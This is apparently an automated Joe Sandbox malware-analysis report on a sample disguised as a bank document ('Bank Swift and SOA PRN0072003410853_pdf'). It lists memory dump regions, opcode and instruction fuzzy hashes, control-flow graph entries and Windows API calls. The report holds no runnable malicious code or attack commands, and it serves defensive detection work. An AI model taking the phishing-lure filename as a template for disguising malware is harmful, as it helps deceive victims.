                                                                                                            • Source File: 00000004.00000002.3271393426.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_d0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 3201241bb5ed5421ce18dc1e93359231086b86365239dfc393576aeee4651139
                                                                                                            • Instruction ID: a4667c453e37077d3c0f22d7c62c66871f6ce0e706dd73262d33a3d1a74e82b0
                                                                                                            • Opcode Fuzzy Hash: 3201241bb5ed5421ce18dc1e93359231086b86365239dfc393576aeee4651139
                                                                                                            • Instruction Fuzzy Hash: E6C1A274E00218CFDB54DFA9C994B9DBBB6BF88305F1080AAD809AB365DB355D86CF14
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271393426.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_d0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 626636c7d83f86ad7d515407b57243e826ddd5f39115e1d33ed450ff95043322
                                                                                                            • Instruction ID: 7ecf5a2884a7497ffea4227ea743db3634113c52abb7c9b4b83511f17ba30d4b
                                                                                                            • Opcode Fuzzy Hash: 626636c7d83f86ad7d515407b57243e826ddd5f39115e1d33ed450ff95043322
                                                                                                            • Instruction Fuzzy Hash: 1BA1F574D00209CFEB14DFA8C984BDDBBB1FF49315F20826AE449AB291DB749985CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: d7c45160950b8652e30b457a45d0083eff66921f7f0038bb1161b715d23454bf
                                                                                                            • Instruction ID: 1ae6a8a90c1e68c385760ed1f9f9f82ce6b61348105adfd222234bce61d8e485
                                                                                                            • Opcode Fuzzy Hash: d7c45160950b8652e30b457a45d0083eff66921f7f0038bb1161b715d23454bf
                                                                                                            • Instruction Fuzzy Hash: 63A18EB4E012288FEB18CF6AC944BDDFBF2AF89300F14C5AAD409A7255DB345A85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: bf2482fe2ab9a7464c0f665f88871723b21b5664a613399e4e26a3f52e4fa15d
                                                                                                            • Instruction ID: 408fecd0637cabf780afaaf76395e8816fa30d0cf7c7b91e39c8c29e501c9ae3
                                                                                                            • Opcode Fuzzy Hash: bf2482fe2ab9a7464c0f665f88871723b21b5664a613399e4e26a3f52e4fa15d
                                                                                                            • Instruction Fuzzy Hash: 8CA18DB4E012288FEB58CF6AC944BDDBBF2BF89300F14C5AAD408A7251DB345A85CF51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 19d25fdfe32d527abc6b2b96ace767922cc1ab96b98fde65377e18d73b1ffe6b
                                                                                                            • Instruction ID: d9f366f0afc3e2d78d28137fc423a88397008e0ec5beb9c1d66b2f65d678b157
                                                                                                            • Opcode Fuzzy Hash: 19d25fdfe32d527abc6b2b96ace767922cc1ab96b98fde65377e18d73b1ffe6b
                                                                                                            • Instruction Fuzzy Hash: 51A18FB4E012298FEB54CF6AC944BDDBBF2AF89300F14C5AAD409B7255DB345A85CF11
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 3d0de979ee0afd65ea6ad5933b78f01a9d9bc2b942ebbb76fbc12d9216b01ba7
                                                                                                            • Instruction ID: 6a357efc6d86e96642d8fd6ef6dd071a07379fab598b488d6ac20778801a2cf2
                                                                                                            • Opcode Fuzzy Hash: 3d0de979ee0afd65ea6ad5933b78f01a9d9bc2b942ebbb76fbc12d9216b01ba7
                                                                                                            • Instruction Fuzzy Hash: 29A19FB4E012288FEB58CF6AC944BDDBBF2AF89300F14D1AAD409A7255DB345A85CF11
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271393426.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_d0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 5f82bd68bc582e7a3c89689be30bf31c01c4be6807010267ed8c4d7ca1e0831e
                                                                                                            • Instruction ID: 362e6cd3805e11455641540f16825f5b0fe09545e4b66c7cceec14a76f97a6df
                                                                                                            • Opcode Fuzzy Hash: 5f82bd68bc582e7a3c89689be30bf31c01c4be6807010267ed8c4d7ca1e0831e
                                                                                                            • Instruction Fuzzy Hash: 3C91D674900208CFEB10DFA8C5847DDBBB1BF49315F20926AE409AB391DB759985CF65
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: ab6cc1e4a90469d5f4967d4da73d34070a0ef2e36178cd00b49162bb00d3439b
                                                                                                            • Instruction ID: 1bb3e65a6335b459dcfc4840b1953c6049aafd0d0aaf9ea718bae2f0200d78f9
                                                                                                            • Opcode Fuzzy Hash: ab6cc1e4a90469d5f4967d4da73d34070a0ef2e36178cd00b49162bb00d3439b
                                                                                                            • Instruction Fuzzy Hash: DA81F3B4E012089FEB14DFAAC9506DDBBF2BF89310F64C52AD418AB355DB359942CF50
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: fbf3f2a20f18cb1bf91d3b301b1c755afa7fb11f91a555e594e8fd78ae82faad
                                                                                                            • Instruction ID: e14cecc17def1d11b300a6852af531d0878d6ebbfa9777a4a3d7e808ee025585
                                                                                                            • Opcode Fuzzy Hash: fbf3f2a20f18cb1bf91d3b301b1c755afa7fb11f91a555e594e8fd78ae82faad
                                                                                                            • Instruction Fuzzy Hash: A271B475E01228CFDB64CF66C9847DDBBB2BF89311F1081AAD409A7360DB355A86CF50
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: ccaf04322d8535fdcb925b1746496a27bcab54bbc091f60b69e960a55f667ff2
                                                                                                            • Instruction ID: ab59917be1f0a6419cf2c561aad27f18364026d26564662af0056007a9ceb359
                                                                                                            • Opcode Fuzzy Hash: ccaf04322d8535fdcb925b1746496a27bcab54bbc091f60b69e960a55f667ff2
                                                                                                            • Instruction Fuzzy Hash: 6771A0B4E006288FEB18CF6AC944B9DBBF2AF89200F14C4AAD40DB7255DB345A85CF11
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 4e66b11f8c40d9038a8f95be4243239c9434b4fac3ced11fa77cd06ad482e0a9
                                                                                                            • Instruction ID: 012dc69361ed6aed49f4ee0e6cb4826830a7dddb659a4ceb0e59e363cb1ceb3c
                                                                                                            • Opcode Fuzzy Hash: 4e66b11f8c40d9038a8f95be4243239c9434b4fac3ced11fa77cd06ad482e0a9
                                                                                                            • Instruction Fuzzy Hash: 9C616874A40219DFDB25DF60D940BADBBBBFF88300F1084AA990A73765DA355E82DF04
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 2223117f9c589d92ff4268d73a305bbcfcf854e664819dcaf385905d50b9d015
                                                                                                            • Instruction ID: 3cd406a3c40d799c028ab50d350153e30d7e4a114ffd8cdbdd7d324a3db327b1
                                                                                                            • Opcode Fuzzy Hash: 2223117f9c589d92ff4268d73a305bbcfcf854e664819dcaf385905d50b9d015
                                                                                                            • Instruction Fuzzy Hash: 674158B1E016188BEB58CF6BC9457C9FAF3AFC9314F14C1AAC50CA7264DB741A868F51
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 86baaef680c3ff89a98176f1f479eaefedffac0acfbf997ecaf6f74780a7f682
                                                                                                            • Instruction ID: bf3b98a68699ec1f3cd32354bdcc496fc261b8cdf7eeb74f7a6e66c1355bfd68
                                                                                                            • Opcode Fuzzy Hash: 86baaef680c3ff89a98176f1f479eaefedffac0acfbf997ecaf6f74780a7f682
                                                                                                            • Instruction Fuzzy Hash: 864147B1D016188BEB58CF6BC9457C9FBF3AFC9304F14C1AAD50CA6264DB741A868F51

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 266 388f0608-388f0697 GetCurrentProcess 270 388f0699-388f069f 266->270 271 388f06a0-388f06d4 GetCurrentThread 266->271 270->271 272 388f06dd-388f0711 GetCurrentProcess 271->272 273 388f06d6-388f06dc 271->273 274 388f071a-388f0735 call 388f07d7 272->274 275 388f0713-388f0719 272->275 273->272 279 388f073b-388f076a GetCurrentThreadId 274->279 275->274 280 388f076c-388f0772 279->280 281 388f0773-388f07d5 279->281 280->281
                                                                                                            APIs
                                                                                                            • GetCurrentProcess.KERNEL32 ref: 388F0686
                                                                                                            • GetCurrentThread.KERNEL32 ref: 388F06C3
                                                                                                            • GetCurrentProcess.KERNEL32 ref: 388F0700
                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 388F0759
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Current$ProcessThread
                                                                                                            • String ID:
                                                                                                            • API String ID: 2063062207-0
                                                                                                            • Opcode ID: e38ca26c9a9d8ec824c8ad54475370b4b1f6b9f90a9d0112a50514b9d62b447c
                                                                                                            • Instruction ID: 43df26c2d73e8db6c202758ba33939f5963d80655edaeeedca259813217e0476
                                                                                                            • Opcode Fuzzy Hash: e38ca26c9a9d8ec824c8ad54475370b4b1f6b9f90a9d0112a50514b9d62b447c
                                                                                                            • Instruction Fuzzy Hash: 1E5145B09003499FDB04DFAAD548BAEBBF1EF88310F208469E419B7361D739A945CF65

                                                                                                            Control-flow Graph

                                                                                                            • Executed
                                                                                                            • Not Executed
                                                                                                            control_flow_graph 1638 3789b028-3789b14d 1657 3789b1f0-3789b221 1638->1657 1658 3789b153-3789b199 1638->1658 1665 3789b227-3789b23e 1657->1665 1663 3789b19b-3789b19f 1658->1663 1664 3789b1a4-3789b1ef 1658->1664 1663->1664
                                                                                                            Strings
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID: 4']q$4']q$3Y!;^
                                                                                                            • API String ID: 0-2520638401
                                                                                                            • Opcode ID: a894662c81f47bd125ad6db980dad05c37e8eccee30824070ab219c18a2870f1
                                                                                                            • Instruction ID: 0fbd3ebc56f242572a2b998be33c880c2da6b73bd227a72522f496b4900994f3
                                                                                                            • Opcode Fuzzy Hash: a894662c81f47bd125ad6db980dad05c37e8eccee30824070ab219c18a2870f1
                                                                                                            • Instruction Fuzzy Hash: 7E519170A002099FCB04EFA8D951AEEBFB2FF89300F108169D005BB266DB35AD45CF61
                                                                                                            APIs
                                                                                                            • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 000DFEAA
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271393426.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_d0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CreateWindow
                                                                                                            • String ID:
                                                                                                            • API String ID: 716092398-0
                                                                                                            • Opcode ID: 13f68b0f9159ec1f3a63d7fda38020fa1c521ff63ec12a3632dacb8ced33d1c4
                                                                                                            • Instruction ID: 087f117453452d19445adcd2a2d4c5d83b91dc42be146f09613fb0a261986c1f
                                                                                                            • Opcode Fuzzy Hash: 13f68b0f9159ec1f3a63d7fda38020fa1c521ff63ec12a3632dacb8ced33d1c4
                                                                                                            • Instruction Fuzzy Hash: EE41E3B1D00349DFDB54CFA9C484ADDBBB1BF48314F24852AE419AB261D7759845CF90
                                                                                                            APIs
                                                                                                            • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 000DFEAA
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271393426.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_d0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CreateWindow
                                                                                                            • String ID:
                                                                                                            • API String ID: 716092398-0
                                                                                                            • Opcode ID: 60206a4363a90ffe8f6c6a78490720571a2ec25421abe2361d8b35c42fafb8c8
                                                                                                            • Instruction ID: 4b439824458c858815c49c83aea394266267f2419488e1fbbb33f9d780dbbc27
                                                                                                            • Opcode Fuzzy Hash: 60206a4363a90ffe8f6c6a78490720571a2ec25421abe2361d8b35c42fafb8c8
                                                                                                            • Instruction Fuzzy Hash: 9951C2B1D00319EFDB14CF9AC884ADEBFB1BF48310F24852AE419AB251D7749985CF91
                                                                                                            APIs
                                                                                                            • CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 000DFEAA
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3271393426.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_d0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CreateWindow
                                                                                                            • String ID:
                                                                                                            • API String ID: 716092398-0
                                                                                                            • Opcode ID: 18b98dd31a78cee282fb6c90d875eee9da88677b64066da8eb772efa70d2e41a
                                                                                                            • Instruction ID: 283bc7a8ce2088d706e54f50d687ea10b515604708376451aa7b8616884e27a2
                                                                                                            • Opcode Fuzzy Hash: 18b98dd31a78cee282fb6c90d875eee9da88677b64066da8eb772efa70d2e41a
                                                                                                            • Instruction Fuzzy Hash: 8941B1B1D003199FDB14CF9AD884ADEBBB5BF48310F24852AE419AB251D775A885CF90
                                                                                                            APIs
                                                                                                            • CallWindowProcW.USER32(?,?,?,?,?), ref: 388F1B21
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: CallProcWindow
                                                                                                            • String ID:
                                                                                                            • API String ID: 2714655100-0
                                                                                                            • Opcode ID: 42d534c7d8e07aa8ea14e265de2285721df1c43cec1a7172e378937ada7749ea
                                                                                                            • Instruction ID: ad3dfca9f1b74cd2d822c92511fdbfd87ce326673dd3c492e2006d0a8e1d0005
                                                                                                            • Opcode Fuzzy Hash: 42d534c7d8e07aa8ea14e265de2285721df1c43cec1a7172e378937ada7749ea
                                                                                                            • Instruction Fuzzy Hash: D54116B8A00309DFDB05CF99C588AAABBF5FF89310F24C459D519AB321D775A845CFA0
                                                                                                            APIs
                                                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 388F08D7
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: DuplicateHandle
                                                                                                            • String ID:
                                                                                                            • API String ID: 3793708945-0
                                                                                                            • Opcode ID: c9fc09b60a0dd3d5d39fb35865ab905165cdc4f604f8bc91a52b68d603a5d90f
                                                                                                            • Instruction ID: 0eb90cae189af85076e24637db4eb51381e4f2e13fba301d2b7916bd06a24998
                                                                                                            • Opcode Fuzzy Hash: c9fc09b60a0dd3d5d39fb35865ab905165cdc4f604f8bc91a52b68d603a5d90f
                                                                                                            • Instruction Fuzzy Hash: FC21E5B5D00248AFDB10CFAAD984AEEBBF5FB48310F14841AE954A7250C378A954CFA5
                                                                                                            APIs
                                                                                                            • DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 388F08D7
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: DuplicateHandle
                                                                                                            • String ID:
                                                                                                            • API String ID: 3793708945-0
                                                                                                            • Opcode ID: d823cd793b79a4bea02e882f1a5a9a822eca32419ff5c97acead8bc4f7d8197e
                                                                                                            • Instruction ID: 32a6a4a78e103bd81838aad3b79c3dbb828ffec824f36555a4274368ed1bb34a
                                                                                                            • Opcode Fuzzy Hash: d823cd793b79a4bea02e882f1a5a9a822eca32419ff5c97acead8bc4f7d8197e
                                                                                                            • Instruction Fuzzy Hash: 4821E4B5D00248AFDB10CFAAD984ADEBBF4FB48310F14841AE958A3350C378A954CFA5
                                                                                                            APIs
                                                                                                            • DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,388FD79F), ref: 388FE5C5
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: DispatchMessage
                                                                                                            • String ID:
                                                                                                            • API String ID: 2061451462-0
                                                                                                            • Opcode ID: 01c1e6470bfe77ec07009588e22b0ba519628a91c9b5ef0cdf02f7b8290e2f54
                                                                                                            • Instruction ID: a1b9a2e4061a7e683c0e0ee1e2a0eeaf2caccfa659cbf3c676226f4e5f41e5c1
                                                                                                            • Opcode Fuzzy Hash: 01c1e6470bfe77ec07009588e22b0ba519628a91c9b5ef0cdf02f7b8290e2f54
                                                                                                            • Instruction Fuzzy Hash: 3E11FEB5D047499FCB10DFAAD444B9EFBF4EF48320F10842AE558AB610D379A544CFA5
                                                                                                            APIs
                                                                                                            • OleInitialize.OLE32(00000000), ref: 388FD2B5
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Initialize
                                                                                                            • String ID:
                                                                                                            • API String ID: 2538663250-0
                                                                                                            • Opcode ID: a168dfe4133b6abea001ee7a3e3100858d58f04ca3ca697c362eb1fc2c6a02cf
                                                                                                            • Instruction ID: 4d2cfc33eca7ec270e01fcf3ae8abf0d42ce94d8b43e6f522514fd0b3a44731b
                                                                                                            • Opcode Fuzzy Hash: a168dfe4133b6abea001ee7a3e3100858d58f04ca3ca697c362eb1fc2c6a02cf
                                                                                                            • Instruction Fuzzy Hash: 351145B59003489FCB20DF9AD544B9EFBF4EB48324F208419D518A7710C379A944CFE5
                                                                                                            APIs
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Timer
                                                                                                            • String ID:
                                                                                                            • API String ID: 2870079774-0
                                                                                                            • Opcode ID: b6bd87c4ddf3bc1eb7424c76ea41fac0b72bdd2e494fa023bb76062388fd3f39
                                                                                                            • Instruction ID: e8159048176903ed99ebb86e53c4ebdfa3d84c835ae7513dd8329cacd29b6585
                                                                                                            • Opcode Fuzzy Hash: b6bd87c4ddf3bc1eb7424c76ea41fac0b72bdd2e494fa023bb76062388fd3f39
                                                                                                            • Instruction Fuzzy Hash: 9F1125B58003489FDB10DF99D484BDEBFF4EF48320F208459E558A7210C379A584CFA1
                                                                                                            APIs
                                                                                                            • OleInitialize.OLE32(00000000), ref: 388FD2B5
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Initialize
                                                                                                            • String ID:
                                                                                                            • API String ID: 2538663250-0
                                                                                                            • Opcode ID: cd3f5bb76e9ea7f44b1e0928a687271aee0706a6de1c93ee4bd4486cfe836f48
                                                                                                            • Instruction ID: f7528f8cf7a809955206afb3c186a94597a836e5b2d264c2825d1001ae7a8838
                                                                                                            • Opcode Fuzzy Hash: cd3f5bb76e9ea7f44b1e0928a687271aee0706a6de1c93ee4bd4486cfe836f48
                                                                                                            • Instruction Fuzzy Hash: A21130B59002488FCB20CFAAD544BDEBFF4EB48320F20845AD559A3610C378A984CFA5
                                                                                                            APIs
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: Timer
                                                                                                            • String ID:
                                                                                                            • API String ID: 2870079774-0
                                                                                                            • Opcode ID: e601d71a8ee3756fe9d2a07d55ef036314923b891594593df8cdaa85d0f51719
                                                                                                            • Instruction ID: c6bc3271b4a814fd7fe6c49798c7a869630c0037fc0fe5a96d2047757512791b
                                                                                                            • Opcode Fuzzy Hash: e601d71a8ee3756fe9d2a07d55ef036314923b891594593df8cdaa85d0f51719
                                                                                                            • Instruction Fuzzy Hash: 681115B58003499FDB10DF9AD544BDEFBF8FB48320F208419D558A7600C379A544CFA5
                                                                                                            APIs
                                                                                                            • DispatchMessageW.USER32(?,?,?,?,?,?,00000000,-00000018,?,388FD79F), ref: 388FE5C5
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3296154085.00000000388F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 388F0000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_388f0000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID: DispatchMessage
                                                                                                            • String ID:
                                                                                                            • API String ID: 2061451462-0
                                                                                                            • Opcode ID: 0845e20cdedce9ee920de24103bfff8338cbaf7e739b6cf5ce4aa16a44b5a69b
                                                                                                            • Instruction ID: 767874112326cde0e11242689e85c3595bf929b117b45f0fba442b902077444e
                                                                                                            • Opcode Fuzzy Hash: 0845e20cdedce9ee920de24103bfff8338cbaf7e739b6cf5ce4aa16a44b5a69b
                                                                                                            • Instruction Fuzzy Hash: A0112EB1C002498FCB20CFAAD444BCEFBF4EF48320F10882AD458A7610D378A544CFA5
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: a813a85830c40f7351bb9bf7ad859d9b05807cddddef4c589539db0601329f91
                                                                                                            • Instruction ID: ddfeb11e7124f0446c49dd0046e660d2d8d22253a5699a9eb2af7043bbaf9456
                                                                                                            • Opcode Fuzzy Hash: a813a85830c40f7351bb9bf7ad859d9b05807cddddef4c589539db0601329f91
                                                                                                            • Instruction Fuzzy Hash: 3BE1E274A00218DFDB25DF60C944BADBBB6EF89300F1085AAD90A77365CB359E82DF54
                                                                                                            Memory Dump Source
                                                                                                            • Source File: 00000004.00000002.3295742440.0000000037890000.00000040.00000800.00020000.00000000.sdmp, Offset: 37890000, based on PE: false
                                                                                                            Joe Sandbox IDA Plugin
                                                                                                            • Snapshot File: hcaresult_4_2_37890000_Bank Swift and SOA PRN0072003410853_pdf.jbxd
                                                                                                            Similarity
                                                                                                            • API ID:
                                                                                                            • String ID:
                                                                                                            • API String ID:
                                                                                                            • Opcode ID: 032796a745032814f84d2830f8296107297334e28559f888d04fd73c700318ff
